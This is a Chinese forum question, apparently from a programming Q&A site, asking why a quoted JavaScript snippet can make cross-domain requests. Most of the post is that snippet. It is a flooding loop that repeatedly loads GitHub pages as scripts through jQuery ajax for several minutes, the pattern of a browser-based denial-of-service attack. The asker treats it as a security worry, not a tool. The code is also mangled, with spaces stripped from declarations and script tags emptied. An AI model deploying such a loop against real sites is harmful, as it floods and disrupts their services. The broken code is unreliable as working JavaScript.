JS这样做居然可以跨域请求远程资源,请问原理是什么!?

演示地址:http://runjs.cn/code/vmjaz1pj
如果说这样就可以跨域请求资源了,那岂不是想要攻击谁就攻击谁?这样太不安全了。
代码如下:
document.write("\x3c/script>");
!window.jQuery&&document.write("\x3c/script>");
startime=(newDate).getTime();
varcount=0;
functionunixtime(){
vara=newDate;
returnDate.UTC(a.getFullYear(),a.getMonth(),a.getDay(),a.getHours(),a.getMinutes(),a.getSeconds())/1E3
}
url_array=["https://github.com/aiyuchen/LaravelShoppingcart","http://segmentfault.com/q/1010000000339531"];
NUM=url_array.length;
functionr_send2(){
vara=unixtime()%NUM;
get(url_array[a])
}
functionget(a){
varb;
$.ajax({
url:a,
dataType:"script",
timeout:1E4,
cache:!0,
beforeSend:function(){
requestTime=(newDate).getTime()
},
complete:function(){
responseTime=(newDate).getTime();
b=Math.floor(responseTime-requestTime);
3E5>responseTime-startime&&(r_send(b),count+=1)
}
})
}
functionr_send(a){
setTimeout("r_send2()",a)
}
setTimeout("r_send2()",2E3);
郎朗坤
浏览 372回答 2
2回答
打开App,查看更多内容
随时随地看视频慕课网APP

相关分类

JavaScript